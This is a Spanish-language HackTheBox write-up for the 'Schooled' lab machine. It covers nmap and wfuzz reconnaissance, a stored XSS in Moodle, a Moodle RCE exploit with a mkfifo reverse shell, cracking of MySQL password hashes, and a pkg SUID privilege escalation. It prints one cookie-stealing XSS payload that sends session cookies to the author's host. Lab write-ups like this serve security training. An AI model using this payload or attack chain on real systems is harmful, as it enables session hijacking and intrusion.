Schooled - HackTheBox
Empece con un escaneo de Nmap para detectar puertos abiertos en la máquina.
┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.234 -oN targeted
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 06:18 EDT
Initiating SYN Stealth Scan at 06:18
Scanning 10.10.10.234 [1000 ports]
Discovered open port 22/tcp on 10.10.10.234
Discovered open port 80/tcp on 10.10.10.234
Completed SYN Stealth Scan at 06:18, 0.52s elapsed (1000 total ports)
Nmap scan report for 10.10.10.234
Host is up, received user-set (0.047s latency).
Scanned at 2021-09-18 06:18:46 EDT for 0s
Not shown: 798 filtered ports, 200 closed ports
Reason: 798 no-responses and 200 resets
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
Raw packets sent: 1798 (79.112KB) | Rcvd: 202 (8.088KB)
Hice otro escaneo para detectar la versión de cada puerto abierto.
┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# nmap -sC -sV -p22,80 10.10.10.234 -oN webScan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 06:20 EDT
Nmap scan report for 10.10.10.234
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.25 seconds
Tenía dos puertos abiertos, el primero era de servicio SSH y el otro era un servidor web, poco podía hacer en el primero por lo que recurrí a ver que había en el servidor web.

Al parecer era una página de colegio, seguí investigándola un poco más y encontré lo siguiente en el “footer” de la web.

Esto me llamo la atención, pensé que se podría estar aplicando virtual hosting, es decir alojar distintos dominios en una sola ‘IP’, para ello lo introduje en el /etc/hosts.

Volví a acceder a la web, pero no había nada interesante.

Hice uso de whatweb para ver si corría algún CMS.
┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# whatweb http://schooled.htb/
http://schooled.htb/ [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[#,admissions@schooled.htb], HTML5, HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], IP[10.10.10.234], PHP[7.4.15], Script, Title[Schooled - A new kind of educational institute], X-UA-Compatible[IE=edge]
Al parecer era la misma, para ello hice fuzzing de subdominios y encontré uno que me llamo la atención.
┌──(root💀kali)-[/home/kali/HTB/Schooled/machine]
└─# wfuzz -c --hc=404 -u http://schooled.htb/ -H "Host: FUZZ.schooled.htb" -w /usr/share/amass/wordlists/subdomains.lst -t 20 --hw=1555
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://schooled.htb/
Total requests: 8215
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002430: 400 10 L 45 W 347 Ch "ferrari.fortwayne.com."
000004127: 200 1 L 5 W 84 Ch "moodle"
Moodle era un subdominio que al parecer estaba aplicando, lo introduje en el /etc/hosts.

Y la página me reporta algo diferente, era un moodle.

Tenía un botón que ponía Log In, dándole clic me redirigió a una página de inicio de sesión.

No tenía credenciales por lo que poco podía hacer, pero me podía registrar.

Una vez registrado, accedí.

Viendo todas las asignaturas que habían, matemáticas era la única que tenía un usuario llamado ‘Manuel Philips’.

Encontré un comentario de este usuario.

Lo que más me llamo la atención es que pone que verificara a todos los usuarios, mirando un poco más la página encontré este buffer que al parecer me permitía hablar con Manuel Philips, Intente ver si era vulnerable a XSS.

Y me reporto la alerta por pantalla.

Ahora que sabía que era vulnerable a XSS me acordé del mensaje que decía que se verificarían todos los usuarios, pensé en efectuar un Cookie Hijacking, es decir robar la cookie de sesión del usuario privilegiado, para ello use la siguiente sintaxis en JS.
<script>document.location="http://10.10.16.3/value_cookie="+document.cookie</script>
Realmente se puede hacer de muchas maneras.

Abrí un servidor por Python y recibí mi cookie de sesión por GET más otras que no eran mías.

Me autentiqu´r con la cookie que recibi y al parecer era del usuario Manuel Philips, volviendo al mensaje de antes, vi que ponia algo de MoodleNet, me dio por investigar y encontré un exploit de Lanz que te garantiza RCE.

Lo ejecute brindándole la cookie de sesión del usuario Manuel Philips y ejecutando una reverse shell por mkfifo y gane acceso a la máquina.

Investigando la maquiná encontré un archivo llamado config.php que tenía credenciales de MySQL.

Antes de usar MySQL hice uso de la utilidad MySQLshow para enumerar un poco las bases de datos que habían y sus tablas.

Tras una enumeración de la base de datos Moodle encontré una tabla en especial llamada mdl_user, enumerándola encontré distintas columnas, pero me llamaron la atención en especial “username”, “password” y “email”, tras enumerarlas me reporto distintos hashes de usuarios.

Decidí crackear los hashes con john en local y conseguí crackear la credencial !QAZ2wsx que era del usuario jamie, como la máquina tenía SSH abierto probé a autenticarme con estas credenciales y accedí, ya pude visualizar la “flag” del usuario.

ESCALADA DE PRIVILEGIOS
Haciendo sudo -l vi que podía ejecutar pkg como cualquier usuario.

Me dirigí a gtfobins y encontré una carga útil que me permitía escalar privilegios.

En la máquina víctima no tenía fpm instalado, para ello lo hice en mí máquina, hice que le otorgase privilegios SUID a la bash, lo transferí a la máquina víctima y lo ejecute, ya pude visualizar la “flag” de root.

Leave a comment